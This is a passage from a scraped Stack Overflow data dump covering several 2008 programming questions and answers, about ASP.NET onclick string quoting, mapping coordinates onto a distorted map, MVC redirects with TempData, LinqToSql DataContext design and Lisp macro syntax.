<p>And there is my Javascript:</p> <pre><code>&lt;script language=&quot;JavaScript&quot; type=&quot;text/javascript&quot;&gt; /* Shows/Hides the Jobs Div */ function ToggleDisplay(jobCode) { /* Each div has its ID set dynamically ('d' plus the JobCode) */ var elem = document.getElementById('d' + jobCode); if (elem) { if (elem.style.display != 'block') { elem.style.display = 'block'; elem.style.visibility = 'visible'; } else { elem.style.display = 'none'; elem.style.visibility = 'hidden'; } } } &lt;/script&gt; </code></pre>
[ { "answer_id": 1875, "author": "Grant", "author_id": 30, "author_profile": "https://Stackoverflow.com/users/30", "pm_score": 2, "selected": false, "text": "<blockquote>\n <p>Without the extra quotes around the input string parameter, the Javascript function thinks I'm passing in an integer.</p>\n</blockquote>\n\n<p>Can you do some rudimentary string function to force JavaScript into changing it into a string? Like </p>\n\n<pre><code>value = value + \"\"\n</code></pre>\n" }, { "answer_id": 1881, "author": "Shawn", "author_id": 26, "author_profile": "https://Stackoverflow.com/users/26", "pm_score": 1, "selected": false, "text": "<p>Try putting the extra text inside the server-side script block and concatenating.</p>\n\n<pre><code>onclick='&lt;%# \"ToggleDisplay(\"\"\" &amp; DataBinder.Eval(Container.DataItem, \"JobCode\") &amp; \"\"\");\" %&gt;'\n</code></pre>\n\n<p>Edit: I'm pretty sure you could just use double quotes outside the script block as well.</p>\n" }, { "answer_id": 1886, "author": "lubos hasko", "author_id": 275, "author_profile": "https://Stackoverflow.com/users/275", "pm_score": 6, "selected": true, "text": "<p>I had recently similar problem and the only way to solve it was to use plain old HTML codes for single (<code>&amp;#39;</code>) and double quotes (<code>&amp;#34;</code>). </p>\n\n<p>Source code was total mess of course but it worked.</p>\n\n<p>Try</p>\n\n<pre><code>&lt;a id=\"aShowHide\" onclick='ToggleDisplay(&amp;#34;&lt;%# DataBinder.Eval(Container.DataItem, \"JobCode\") %&gt;&amp;#34;);'&gt;Show/Hide&lt;/a&gt;\n</code></pre>\n\n<p>or</p>\n\n<pre><code>&lt;a id=\"aShowHide\" onclick='ToggleDisplay(&amp;#39;&lt;%# DataBinder.Eval(Container.DataItem, \"JobCode\") %&gt;&amp;#39;);'&gt;Show/Hide&lt;/a&gt;\n</code></pre>\n" }, { "answer_id": 637033, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>Passing variable to function without single quote or double quote</p>\n\n<pre><code>&lt;html&gt;\n &lt;head&gt;\n &lt;/head&gt;\n &lt;body&gt;\n &lt;script language=\"javascript\"&gt;\n function hello(id, bu)\n {\n alert(id+ bu);\n }\n &lt;/script&gt;\n &lt;a href =\"javascript:\n var x = &amp;#34;12&amp;#34;;\n var y = &amp;#34;fmo&amp;#34;;\n hello(x,y)\"&gt;test&lt;/a&gt;\n &lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n" }, { "answer_id": 798480, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<pre><code>onclick='javascript:ToggleDisplay(\"&lt;%# DataBinder.Eval(Container.DataItem, \"JobCode\")%&gt; \"); '\n</code></pre>\n\n<p>Use like above.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/1873", "https://Stackoverflow.com", "https://Stackoverflow.com/users/242/" ]
How do I delimit a Javascript data-bound string parameter in an anchor `OnClick` event? * I have an anchor tag in an ASP.NET Repeater control. * The `OnClick` event of the anchor contains a call to a Javascript function. * The Javascript function takes a string for its input parameter. * The string parameter is populated with a data-bound value from the Repeater. I need the "double quotes" for the `Container.DataItem`. I need the 'single quotes' for the `OnClick`. And I still need *one more delimiter* (triple quotes?) for the input string parameter of the Javascript function call. Since I can't use 'single quotes' again, how do I ensure the Javascript function knows the input parameter is a string and not an integer? Without the extra quotes around the input string parameter, the Javascript function thinks I'm passing in an integer. The anchor: ``` <a id="aShowHide" onclick='ToggleDisplay(<%# DataBinder.Eval(Container.DataItem, "JobCode") %>);' >Show/Hide</a> ``` And there is my Javascript: ``` <script language="JavaScript" type="text/javascript"> /* Shows/Hides the Jobs Div */ function ToggleDisplay(jobCode) { /* Each div has its ID set dynamically ('d' plus the JobCode) */ var elem = document.getElementById('d' + jobCode); if (elem) { if (elem.style.display != 'block') { elem.style.display = 'block'; elem.style.visibility = 'visible'; } else { elem.style.display = 'none'; elem.style.visibility = 'hidden'; } } } </script> ```
I had recently similar problem and the only way to solve it was to use plain old HTML codes for single (`&#39;`) and double quotes (`&#34;`). Source code was total mess of course but it worked. Try ``` <a id="aShowHide" onclick='ToggleDisplay(&#34;<%# DataBinder.Eval(Container.DataItem, "JobCode") %>&#34;);'>Show/Hide</a> ``` or ``` <a id="aShowHide" onclick='ToggleDisplay(&#39;<%# DataBinder.Eval(Container.DataItem, "JobCode") %>&#39;);'>Show/Hide</a> ```
1,908
<p>I have a bunch of latitude/longitude pairs that map to known x/y coordinates on a (geographically distorted) map.</p> <p>Then I have one more latitude/longitude pair. I want to plot it on the map as best is possible. How do I go about doing this?</p> <p>At first I decided to create a system of linear equations for the three nearest lat/long points and compute a transformation from these, but this doesn't work well at all. Since that's a linear system, I can't use more nearby points either.</p> <p>You can't assume North is up: all you have is the existing lat/long->x/y mappings.</p> <p>EDIT: it's not a Mercator projection, or anything like that. It's arbitrarily distorted for readability (think subway map). I want to use only the nearest 5 to 10 mappings so that distortion on other parts of the map doesn't affect the mapping I'm trying to compute.</p> <p>Further, the entire map is in a very small geographical area so there's no need to worry about the globe--flat-earth assumptions are good enough.</p>
[ { "answer_id": 1926, "author": "nlucaroni", "author_id": 157, "author_profile": "https://Stackoverflow.com/users/157", "pm_score": 0, "selected": false, "text": "<p>the problem is that the sphere can be distorted a number of ways, and having all those points known on the equator, lets say, wont help you map points further away.</p>\n\n<p>You need better 'close' points, then you can assume these three points are on a plane with the fourth and do the interpolation --knowing that the distance of longitudes is a function, not a constant.</p>\n" }, { "answer_id": 1927, "author": "graham.reeds", "author_id": 342, "author_profile": "https://Stackoverflow.com/users/342", "pm_score": 0, "selected": false, "text": "<p>Ummm. Maybe I am missing something about the question here, but if you have long/lat info, you also have the direction of north?</p>\n\n<p>It seems you need to map geodesic coordinates to a projected coordinates system. For example osgb to wgs84.</p>\n\n<p>The maths involved is non-trivial, but the code comes out a only a few lines. If I had more time I'd post more but I need a shower so I will be boring and link to the <a href=\"http://en.wikipedia.org/wiki/Geographic_coordinate_system\" rel=\"nofollow noreferrer\">wikipedia</a> entry which is pretty good.</p>\n\n<p>Note: Post shower edited.</p>\n" }, { "answer_id": 1945, "author": "fastcall", "author_id": 328, "author_profile": "https://Stackoverflow.com/users/328", "pm_score": 4, "selected": true, "text": "<p>Are there any more specific details on the kind of distortion? If, for example, your latitudes and longitudes are \"distorted\" onto your 2D map using a Mercator projection, the conversion math is <a href=\"http://www.wikipedia.org/wiki/Mercator_projection\" rel=\"noreferrer\">readily available</a>.</p>\n\n<p>If the map is distorted truly arbitrarily, there are lots of things you could try, but the simplest would probably be to compute a <a href=\"http://www.wikipedia.org/wiki/Weighted_mean\" rel=\"noreferrer\">weighted average</a> from your existing point mappings. Your weights could be the squared inverse of the x/y distance from your new point to each of your existing points.</p>\n\n<p>Some pseudocode:</p>\n\n<pre><code>estimate-latitude-longitude (x, y)\n\n numerator-latitude := 0\n numerator-longitude := 0\n denominator := 0\n\n for each point,\n deltaX := x - point.x\n deltaY := y - point.y\n distSq := deltaX * deltaX + deltaY * deltaY\n weight := 1 / distSq\n\n numerator-latitude += weight * point.latitude\n numerator-longitude += weight * point.longitude\n denominator += weight\n\n return (numerator-latitude / denominator, numerator-longitude / denominator)\n</code></pre>\n\n<p>This code will give a relatively simple approximation. If you can be more precise about the way the projection distorts the geographical coordinates, you can probably do much better.</p>\n" }, { "answer_id": 2492, "author": "Louis Brandy", "author_id": 2089740, "author_profile": "https://Stackoverflow.com/users/2089740", "pm_score": 2, "selected": false, "text": "<p>Alright. From a theoretical point of view, given that the distortion is \"arbitrary\", and any solution requires you to model this arbitrary distortion, you obviously can't get an \"answer\". However, any solution is going to involve imposing (usually implicitly) some model of the distortion that may or may not reflect the reality of the situation.</p>\n\n<p>Since you seem to be most interested in models that presume some sort of local continuity of the distortion mapping, the most obvious choice is the one you've already tried: linear interpolaton between the nearest points. Going beyond that is going to require more sophisticated mathematical and numerical analysis knowledge.</p>\n\n<p>You are incorrect, however, in presuming you cannot expand this to more points. You can by using a least-squared error approach. Find the linear answer that minimizes the error of the other points. This is probably the most straight-forward extension. In other words, take the 5 nearest points and try to come up with a linear approximation that minimizes the error of those points. And use that. I would try this next.</p>\n\n<p>If that doesn't work, then the assumption of linearity over the area of N points is broken. At that point you'll need to upgrade to either a quadratic or cubic model. The math is going to get hectic at that point.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/1908", "https://Stackoverflow.com", "https://Stackoverflow.com/users/79/" ]
I have a bunch of latitude/longitude pairs that map to known x/y coordinates on a (geographically distorted) map. Then I have one more latitude/longitude pair. I want to plot it on the map as best is possible. How do I go about doing this? At first I decided to create a system of linear equations for the three nearest lat/long points and compute a transformation from these, but this doesn't work well at all. Since that's a linear system, I can't use more nearby points either. You can't assume North is up: all you have is the existing lat/long->x/y mappings. EDIT: it's not a Mercator projection, or anything like that. It's arbitrarily distorted for readability (think subway map). I want to use only the nearest 5 to 10 mappings so that distortion on other parts of the map doesn't affect the mapping I'm trying to compute. Further, the entire map is in a very small geographical area so there's no need to worry about the globe--flat-earth assumptions are good enough.
Are there any more specific details on the kind of distortion? If, for example, your latitudes and longitudes are "distorted" onto your 2D map using a Mercator projection, the conversion math is [readily available](http://www.wikipedia.org/wiki/Mercator_projection). If the map is distorted truly arbitrarily, there are lots of things you could try, but the simplest would probably be to compute a [weighted average](http://www.wikipedia.org/wiki/Weighted_mean) from your existing point mappings. Your weights could be the squared inverse of the x/y distance from your new point to each of your existing points. Some pseudocode: ``` estimate-latitude-longitude (x, y) numerator-latitude := 0 numerator-longitude := 0 denominator := 0 for each point, deltaX := x - point.x deltaY := y - point.y distSq := deltaX * deltaX + deltaY * deltaY weight := 1 / distSq numerator-latitude += weight * point.latitude numerator-longitude += weight * point.longitude denominator += weight return (numerator-latitude / denominator, numerator-longitude / denominator) ``` This code will give a relatively simple approximation. If you can be more precise about the way the projection distorts the geographical coordinates, you can probably do much better.
1,936
<p>Using ASP.NET MVC there are situations (such as form submission) that may require a <code>RedirectToAction</code>. </p> <p>One such situation is when you encounter validation errors after a form submission and need to redirect back to the form, but would like the URL to reflect the URL of the form, not the action page it submits to.</p> <p>As I require the form to contain the originally <code>POST</code>ed data, for user convenience, as well as validation purposes, how can I pass the data through the <code>RedirectToAction()</code>? If I use the viewData parameter, my <code>POST</code> parameters will be changed to <code>GET</code> parameters.</p>
[ { "answer_id": 1940, "author": "Matt Mitchell", "author_id": 364, "author_profile": "https://Stackoverflow.com/users/364", "pm_score": 7, "selected": true, "text": "<p>The solution is to use the TempData property to store the desired Request components.</p>\n\n<p>For instance:</p>\n\n<pre><code>public ActionResult Send()\n{\n TempData[\"form\"] = Request.Form;\n return this.RedirectToAction(a =&gt; a.Form());\n}\n</code></pre>\n\n<p>Then in your \"Form\" action you can go:</p>\n\n<pre><code>public ActionResult Form()\n{\n /* Declare viewData etc. */\n\n if (TempData[\"form\"] != null)\n {\n /* Cast TempData[\"form\"] to \n System.Collections.Specialized.NameValueCollection \n and use it */\n }\n\n return View(\"Form\", viewData);\n}\n</code></pre>\n" }, { "answer_id": 4415, "author": "Haacked", "author_id": 598, "author_profile": "https://Stackoverflow.com/users/598", "pm_score": 5, "selected": false, "text": "<p>Keep in mind that TempData stores the form collection in session. If you don't like that behavior, you can implement the new ITempDataProvider interface and use some other mechanism for storing temp data. I wouldn't do that unless you know for a fact (via measurement and profiling) that the use of Session state is hurting you.</p>\n" }, { "answer_id": 27013, "author": "Dane O'Connor", "author_id": 1946, "author_profile": "https://Stackoverflow.com/users/1946", "pm_score": 3, "selected": false, "text": "<p>There is another way which avoids tempdata. The pattern I like involves creating 1 action for both the original render and re-render of the invalid form. It goes something like this:</p>\n\n<pre><code>var form = new FooForm();\n\nif (request.UrlReferrer == request.Url)\n{\n // Fill form with previous request's data\n}\n\nif (Request.IsPost())\n{\n if (!form.IsValid)\n {\n ViewData[\"ValidationErrors\"] = ...\n } else {\n // update model\n model.something = foo.something;\n // handoff to post update action\n return RedirectToAction(\"ModelUpdated\", ... etc);\n }\n}\n\n// By default render 1 view until form is a valid post\nViewData[\"Form\"] = form;\nreturn View();\n</code></pre>\n\n<p>That's the pattern more or less. A little pseudoy. With this you can create 1 view to handle rendering the form, re-displaying the values (since the form will be filled with previous values), and showing error messages.</p>\n\n<p>When the posting to this action, if its valid it transfers control over to another action.</p>\n\n<p>I'm trying to make this pattern easy in the <a href=\"http://www.codeplex.com/ValidationFramework/\" rel=\"noreferrer\">.net validation framework</a> as we build out support for MVC.</p>\n" }, { "answer_id": 718653, "author": "Dan", "author_id": 230, "author_profile": "https://Stackoverflow.com/users/230", "pm_score": 4, "selected": false, "text": "<p>Take a look at <a href=\"https://mvccontrib.codeplex.com/\" rel=\"nofollow noreferrer\">MVCContrib</a>, you can do this:</p>\n\n<pre><code>using MvcContrib.Filters;\n\n[ModelStateToTempData]\npublic class MyController : Controller {\n //\n ...\n}\n</code></pre>\n" }, { "answer_id": 20298264, "author": "lzlstyle", "author_id": 1049260, "author_profile": "https://Stackoverflow.com/users/1049260", "pm_score": 2, "selected": false, "text": "<p>If you want to pass data to the redirected action, the method you could use is:</p>\n\n<pre><code>return RedirectToAction(\"ModelUpdated\", new {id = 1});\n// The definition of the action method like public ActionResult ModelUpdated(int id);\n</code></pre>\n" }, { "answer_id": 62451171, "author": "Aswal", "author_id": 3560061, "author_profile": "https://Stackoverflow.com/users/3560061", "pm_score": 0, "selected": false, "text": "<p>TempData is the solution which keeps the data from action to action.</p>\n\n<pre><code>Employee employee = new Employee\n {\n EmpID = \"121\",\n EmpFirstName = \"Imran\",\n EmpLastName = \"Ghani\"\n };\n TempData[\"Employee\"] = employee;\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/1936", "https://Stackoverflow.com", "https://Stackoverflow.com/users/364/" ]
Using ASP.NET MVC there are situations (such as form submission) that may require a `RedirectToAction`. One such situation is when you encounter validation errors after a form submission and need to redirect back to the form, but would like the URL to reflect the URL of the form, not the action page it submits to. As I require the form to contain the originally `POST`ed data, for user convenience, as well as validation purposes, how can I pass the data through the `RedirectToAction()`? If I use the viewData parameter, my `POST` parameters will be changed to `GET` parameters.
The solution is to use the TempData property to store the desired Request components. For instance: ``` public ActionResult Send() { TempData["form"] = Request.Form; return this.RedirectToAction(a => a.Form()); } ``` Then in your "Form" action you can go: ``` public ActionResult Form() { /* Declare viewData etc. */ if (TempData["form"] != null) { /* Cast TempData["form"] to System.Collections.Specialized.NameValueCollection and use it */ } return View("Form", viewData); } ```
1,949
<p>In order to fully use LinqToSql in an ASP.net 3.5 application, it is necessary to create <a href="http://msdn.microsoft.com/en-us/library/system.data.linq.datacontext.aspx" rel="noreferrer">DataContext</a> <a href="http://dotnetslackers.com/articles/csharp/InsideTheLINQToSQLDataContextClass.aspx" rel="noreferrer">classes</a> (which is usually done using the designer in VS 2008). From the UI perspective, the DataContext is a design of the sections of your database that you would like to expose to through LinqToSql and is integral in setting up the ORM features of LinqToSql.</p> <p>My question is: I am setting up a project that uses a large database where all tables are interconnected in some way through Foreign Keys. My first inclination is to make one huge DataContext class that models the entire database. That way I could in theory (though I don't know if this would be needed in practice) use the Foreign Key connections that are generated through LinqToSql to easily go between related objects in my code, insert related objects, etc.</p> <p>However, after giving it some thought, I am now thinking that it may make more sense to create multiple DataContext classes, each one relating to a specific namespace or logical interrelated section within my database. My main concern is that instantiating and disposing one huge DataContext class all the time for individual operations that relate to specific areas of the Database would be impose an unnecessary imposition on application resources. Additionally, it is easier to create and manage smaller DataContext files than one big one. The thing that I would lose is that there would be some distant sections of the database that would not be navigable through LinqToSql (even though a chain of relationships connects them in the actual database). Additionally, there would be some table classes that would exist in more than one DataContext.</p> <p>Any thoughts or experience on whether multiple DataContexts (corresponding to DB namespaces) are appropriate in place of (or in addition to) one very large DataContext class (corresponding to the whole DB)?</p>
[ { "answer_id": 2050, "author": "John Downey", "author_id": 200, "author_profile": "https://Stackoverflow.com/users/200", "pm_score": 2, "selected": false, "text": "<p>In my experience with LINQ to SQL and LINQ to Entities a DataContext is synonymous to a connection to the database. So if you were to use multiple data stores you would need to use multiple DataContexts. My gut reaction is you wouldn't notice to much of a slow down with a DataContext that encompasses a large number of tables. If you did however you could always split the database logically at points where you can isolate tables that don't have any relationship to other sets of tables and create multiple contexts.</p>\n" }, { "answer_id": 2950, "author": "Kev", "author_id": 419, "author_profile": "https://Stackoverflow.com/users/419", "pm_score": 3, "selected": false, "text": "<p>I'd been wrangling over the same question whilst retro fitting LINQ to SQL over a legacy DB. Our database is a bit of a whopper (150 tables) and after some thought and experimentation I elected to use multiple DataContexts. Whether this is considered an anti-pattern remains to be seen, but for now it makes life manageable.</p>\n" }, { "answer_id": 5310, "author": "Evan", "author_id": 667, "author_profile": "https://Stackoverflow.com/users/667", "pm_score": 6, "selected": true, "text": "<p>I disagree with John's answer. The DataContext (or Linq to Entities ObjectContext) is more of a \"unit of work\" than a connection. It manages change tracking, etc. See this blog post for a description:</p>\n\n<p><a href=\"http://blogs.msdn.com/dinesh.kulkarni/archive/2008/04/27/lifetime-of-a-linq-to-sql-datacontext.aspx\" rel=\"noreferrer\">Lifetime of a LINQ to SQL DataContext</a></p>\n\n<p>The four main points of this blog post are that DataContext:</p>\n\n<ol>\n<li>Is ideally suited\nfor a \"unit of work\" approach </li>\n<li>Is also designed for\n\"stateless\" server operation</li>\n<li>Is not designed for\n Long-lived usage</li>\n<li><pre><code>Should be used very carefully after\nany SumbitChanges() operation.\n</code></pre></li>\n</ol>\n\n<p>Considering that, I don't think using more than one DataContext would do any harm- in fact, creating different DataContexts for different types of work would help make your LinqToSql impelmentation more usuable and organized. The only downside is you wouldn't be able to use sqlmetal to auto-generate your dmbl. </p>\n" }, { "answer_id": 29293, "author": "liammclennan", "author_id": 2785, "author_profile": "https://Stackoverflow.com/users/2785", "pm_score": 2, "selected": false, "text": "<p>I think John is correct. </p>\n\n<p>\"My main concern is that instantiating and disposing one huge DataContext class all the time for individual operations that relate to specific areas of the Database would be impose an unnecessary imposition on application resources\"</p>\n\n<p>How do you support that statement? What is your experiment that shows that a large DataContext is a performance bottleneck? Having multiple datacontexts is a lot like having multiple databases and makes sense in similar scenarios, that is, hardly ever. If you are working with multiple datacontexts you need to keep track of which objects belong to which datacontext and you can't relate objects that are not in the same data context. That is a costly design smell for no real benefit. </p>\n\n<p>@Evan \"The DataContext (or Linq to Entities ObjectContext) is more of a \"unit of work\" than a connection\"\nThat is precisely why you should not have more than one datacontext. Why would you want more that one \"unit of work\" at a time?</p>\n" }, { "answer_id": 24273101, "author": "Jordan Rieger", "author_id": 284704, "author_profile": "https://Stackoverflow.com/users/284704", "pm_score": 2, "selected": false, "text": "<p>I have to disagree with the accepted answer. In the question posed, the system has a single large database with strong foreign key relationships between almost every table (also the case where I work). In this scenario, breaking it up into smaller DataContexts (DC's) has two immediate and major drawbacks (both mentioned by the question):</p>\n\n<ol>\n<li><strong>You lose relationships between some tables.</strong> You can try to choose your DC boundaries wisely, but you will eventually run into a situation where it would be very convenient to use a relationship from a table in one DC to a table in another, and you won't be able to.</li>\n<li><strong>Some tables may appear in multiple DC's.</strong> This means that if you want to add table-specific helper methods, business logic, or other code in partial classes, the types won't be compatible across DC's. You can work around this by inheriting each entity class from its own specific base class, which gets messy. Also, schema changes will have to be duplicated across multiple DC's.</li>\n</ol>\n\n<p>Now those are significant drawbacks. Are there advantages big enough to overcome them? The question mentions performance:</p>\n\n<blockquote>\n <p>My main concern is that instantiating and disposing one huge\n DataContext class all the time for individual operations that relate\n to specific areas of the Database would be impose an unnecessary\n imposition on application resources.</p>\n</blockquote>\n\n<p>Actually, it is not true that a large DC takes significantly more time to instantiate or use in a typical unit of work. In fact, <a href=\"http://blogs.msdn.com/b/gisenberg/archive/2008/05/20/linq-to-sql-optimizing-datacontext-construction-with-the-factory-pattern.aspx#9904456\" rel=\"nofollow\">after the first instance is created in a running process, subsequent copies of the same DC can be created almost instantaneously</a>.</p>\n\n<p>The only real advantage from multiple DC's for a single, large database with thorough foreign key relationships is that you can compartmentalize your code a little better. But you can already do this with partial classes.</p>\n\n<p>Also, the unit of work concept is not really relevant to the original question. Unit of work typically refers to how much a work a single DC <strong><em>instance</em></strong> is doing, not how much work a DC <strong><em>class</em></strong> is <strong><em>capable</em></strong> of doing.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/1949", "https://Stackoverflow.com", "https://Stackoverflow.com/users/51/" ]
In order to fully use LinqToSql in an ASP.net 3.5 application, it is necessary to create [DataContext](http://msdn.microsoft.com/en-us/library/system.data.linq.datacontext.aspx) [classes](http://dotnetslackers.com/articles/csharp/InsideTheLINQToSQLDataContextClass.aspx) (which is usually done using the designer in VS 2008). From the UI perspective, the DataContext is a design of the sections of your database that you would like to expose to through LinqToSql and is integral in setting up the ORM features of LinqToSql. My question is: I am setting up a project that uses a large database where all tables are interconnected in some way through Foreign Keys. My first inclination is to make one huge DataContext class that models the entire database. That way I could in theory (though I don't know if this would be needed in practice) use the Foreign Key connections that are generated through LinqToSql to easily go between related objects in my code, insert related objects, etc. However, after giving it some thought, I am now thinking that it may make more sense to create multiple DataContext classes, each one relating to a specific namespace or logical interrelated section within my database. My main concern is that instantiating and disposing one huge DataContext class all the time for individual operations that relate to specific areas of the Database would be impose an unnecessary imposition on application resources. Additionally, it is easier to create and manage smaller DataContext files than one big one. The thing that I would lose is that there would be some distant sections of the database that would not be navigable through LinqToSql (even though a chain of relationships connects them in the actual database). Additionally, there would be some table classes that would exist in more than one DataContext. Any thoughts or experience on whether multiple DataContexts (corresponding to DB namespaces) are appropriate in place of (or in addition to) one very large DataContext class (corresponding to the whole DB)?
I disagree with John's answer. The DataContext (or Linq to Entities ObjectContext) is more of a "unit of work" than a connection. It manages change tracking, etc. See this blog post for a description: [Lifetime of a LINQ to SQL DataContext](http://blogs.msdn.com/dinesh.kulkarni/archive/2008/04/27/lifetime-of-a-linq-to-sql-datacontext.aspx) The four main points of this blog post are that DataContext: 1. Is ideally suited for a "unit of work" approach 2. Is also designed for "stateless" server operation 3. Is not designed for Long-lived usage 4. ``` Should be used very carefully after any SumbitChanges() operation. ``` Considering that, I don't think using more than one DataContext would do any harm- in fact, creating different DataContexts for different types of work would help make your LinqToSql impelmentation more usuable and organized. The only downside is you wouldn't be able to use sqlmetal to auto-generate your dmbl.
1,988
<p>I have read a lot that LISP can redefine syntax on the fly, presumably with macros. I am curious how far does this actually go? Can you redefine the language structure so much that it borderline becomes a compiler for another language? For example, could you change the functional nature of LISP into a more object oriented syntax and semantics, maybe say having syntax closer to something like Ruby?</p> <p>Especially, is it possible to get rid of the parenthesis hell using macros? I have learned enough (Emacs-)LISP to customize Emacs with my own micro-features, but I am very curious how far macros can go in customizing the language.</p>
[ { "answer_id": 1992, "author": "sparkes", "author_id": 269, "author_profile": "https://Stackoverflow.com/users/269", "pm_score": 2, "selected": false, "text": "<p>If you want lisp to look like Ruby use Ruby. </p>\n\n<p>It's possible to use Ruby (and Python) in a very lisp like way which is one of the main reasons they have gained acceptance so quickly.</p>\n" }, { "answer_id": 1993, "author": "Mike Stone", "author_id": 122, "author_profile": "https://Stackoverflow.com/users/122", "pm_score": 1, "selected": false, "text": "<p>@sparkes</p>\n\n<p>Sometimes LISP is the clear language choice, namely Emacs extensions. I'm sure I could use Ruby to extend Emacs if I wanted to, but Emacs was designed to be extended with LISP, so it seems to make sense to use it in that situation.</p>\n" }, { "answer_id": 3313, "author": "John with waffle", "author_id": 279, "author_profile": "https://Stackoverflow.com/users/279", "pm_score": 1, "selected": false, "text": "<p>It's a tricky question. Since lisp is already structurally so close to a parse tree the difference between a large number of macros and implementing your own mini-language in a parser generator isn't very clear. But, except for the opening and closing paren, you could very easily end up with something that looks nothing like lisp.</p>\n" }, { "answer_id": 27638, "author": "Luís Oliveira", "author_id": 2967, "author_profile": "https://Stackoverflow.com/users/2967", "pm_score": 4, "selected": false, "text": "<p>Regular macros operate on lists of objects. Most commonly, these objects are other lists (thus forming trees) and symbols, but they can be other objects such as strings, hashtables, user-defined objects, etc. These structures are called <a href=\"http://en.wikipedia.org/wiki/S-expression\" rel=\"noreferrer\">s-exps</a>.</p>\n\n<p>So, when you load a source file, your Lisp compiler will parse the text and produce s-exps. Macros operate on these. This works great and it's a marvellous way to extend the language within the spirit of s-exps.</p>\n\n<p>Additionally, the aforementioned parsing process can be extended through \"reader macros\" that let you customize the way your compiler turns text into s-exps. I suggest, however, that you embrace Lisp's syntax instead of bending it into something else.</p>\n\n<p>You sound a bit confused when you mention Lisp's \"functional nature\" and Ruby's \"object-oriented syntax\". I'm not sure what \"object-oriented syntax\" is supposed to be, but Lisp is a multi-paradigm language and it supports object-oriented programming <em>extremelly</em> well.</p>\n\n<p>BTW, when I say Lisp, I mean <a href=\"http://en.wikipedia.org/wiki/Common_Lisp\" rel=\"noreferrer\">Common Lisp</a>.</p>\n\n<p>I suggest you put your prejudices away and <a href=\"http://gigamonkeys.com/book/\" rel=\"noreferrer\">give Lisp an honest go</a>.</p>\n" }, { "answer_id": 27653, "author": "Sergio Acosta", "author_id": 2954, "author_profile": "https://Stackoverflow.com/users/2954", "pm_score": 4, "selected": false, "text": "<p>I'm not a Lisp expert, heck I'm not even a Lisp programmer, but after a bit of experimenting with the language I came to the conclusion that after a while the parenthesis start becoming 'invisible' and you start seeing the code as you want it to be. You start paying more attention to the syntactical constructs you create via s-exprs and macros, and less to the lexical form of the text of lists and parenthesis.</p>\n\n<p>This is specially true if you take advantage of a good editor that helps with the indentation and syntax coloring (try setting the parenthesis to a color very similar to the background).</p>\n\n<p>You might not be able to replace the language completely and get 'Ruby' syntax, but you don't need it. Thanks to the language flexibility you could end having a dialect that feels like you are following the 'Ruby style of programming' if you want, whatever that would mean to you.</p>\n\n<p>I know this is just an empirical observation, but I think I had one of those Lisp enlightenment moments when I realized this.</p>\n" }, { "answer_id": 62267, "author": "HD.", "author_id": 6525, "author_profile": "https://Stackoverflow.com/users/6525", "pm_score": 3, "selected": false, "text": "<p>Yes, you can fundamentally change the syntax, and even escape \"the parentheses hell\". For that you will need to define a new reader syntax. Look into reader macros.</p>\n\n<p>I do suspect however that to reach the level of Lisp expertise to program such macros you will need to immerse yourself in the language to such an extent that you will no longer consider parenthese \"hell\". I.e. by the time you know how to avoid them, you will have come to accept them as a good thing.</p>\n" }, { "answer_id": 63737, "author": "Eric Normand", "author_id": 7492, "author_profile": "https://Stackoverflow.com/users/7492", "pm_score": 6, "selected": true, "text": "<p>That's a really good question.</p>\n\n<p>I think it's nuanced but definitely answerable:</p>\n\n<p>Macros are not stuck in s-expressions. See the LOOP macro for a very complex language written using keywords (symbols). So, while you may start and end the loop with parentheses, inside it has its own syntax.</p>\n\n<p>Example:</p>\n\n<pre><code>(loop for x from 0 below 100\n when (even x)\n collect x)\n</code></pre>\n\n<p>That being said, most simple macros just use s-expressions. And you'd be \"stuck\" using them.</p>\n\n<p>But s-expressions, like Sergio has answered, start to feel right. The syntax gets out of the way and you start coding in the syntax tree.</p>\n\n<p>As for reader macros, yes, you could conceivably write something like this:</p>\n\n<pre><code>#R{\n ruby.code.goes.here\n }\n</code></pre>\n\n<p>But you'd need to write your own Ruby syntax parser.</p>\n\n<p>You can also mimic some of the Ruby constructs, like blocks, with macros that compile to the existing Lisp constructs.</p>\n\n<pre><code>#B(some lisp (code goes here))\n</code></pre>\n\n<p>would translate to</p>\n\n<pre><code>(lambda () (some lisp (code goes here)))\n</code></pre>\n\n<p>See <a href=\"http://rottcodd.wordpress.com/2007/11/29/lambda-shortcut/\" rel=\"noreferrer\">this page</a> for how to do it.</p>\n" }, { "answer_id": 74199, "author": "Jerry Cornelius", "author_id": 6594, "author_profile": "https://Stackoverflow.com/users/6594", "pm_score": 4, "selected": false, "text": "<p>Parenthesis hell? I see no more parenthesis in:</p>\n\n<pre><code>(function toto)\n</code></pre>\n\n<p>than in:</p>\n\n<pre><code>function(toto);\n</code></pre>\n\n<p>And in</p>\n\n<pre><code>(if tata (toto)\n (titi)\n (tutu))\n</code></pre>\n\n<p>no more than in:</p>\n\n<pre><code>if (tata)\n toto();\nelse\n{\n titi();\n tutu();\n}\n</code></pre>\n\n<p>I see less brackets and ';' though.</p>\n" }, { "answer_id": 76012, "author": "Sean Harrison", "author_id": 13410, "author_profile": "https://Stackoverflow.com/users/13410", "pm_score": 5, "selected": false, "text": "<p>Yes, you can redefine the syntax so that Lisp becomes a compiler. You do this using \"Reader Macros,\" which are different from the normal \"Compiler Macros\" that you're probably thinking of.</p>\n\n<p>Common Lisp has the built-in facility to define new syntax for the reader and reader macros to process that syntax. This processing is done at read-time (which comes before compile or eval time). To learn more about defining reader macros in Common Lisp, see the Common Lisp Hyperspec -- you'll want to read <a href=\"http://www.lispworks.com/documentation/HyperSpec/Body/02_.htm\" rel=\"noreferrer\">Ch. 2, \"Syntax\"</a> and <a href=\"http://www.lispworks.com/documentation/HyperSpec/Body/23_.htm\" rel=\"noreferrer\">Ch. 23, \"Reader\"</a>. (I believe Scheme has the same facility, but I'm not as familiar with it -- see the <a href=\"http://arclanguage.org/install\" rel=\"noreferrer\">Scheme sources</a> for the <a href=\"http://arclanguage.org\" rel=\"noreferrer\">Arc programming language</a>).</p>\n\n<p>As a simple example, let's suppose you want Lisp to use curly braces rather than parentheses. This requires 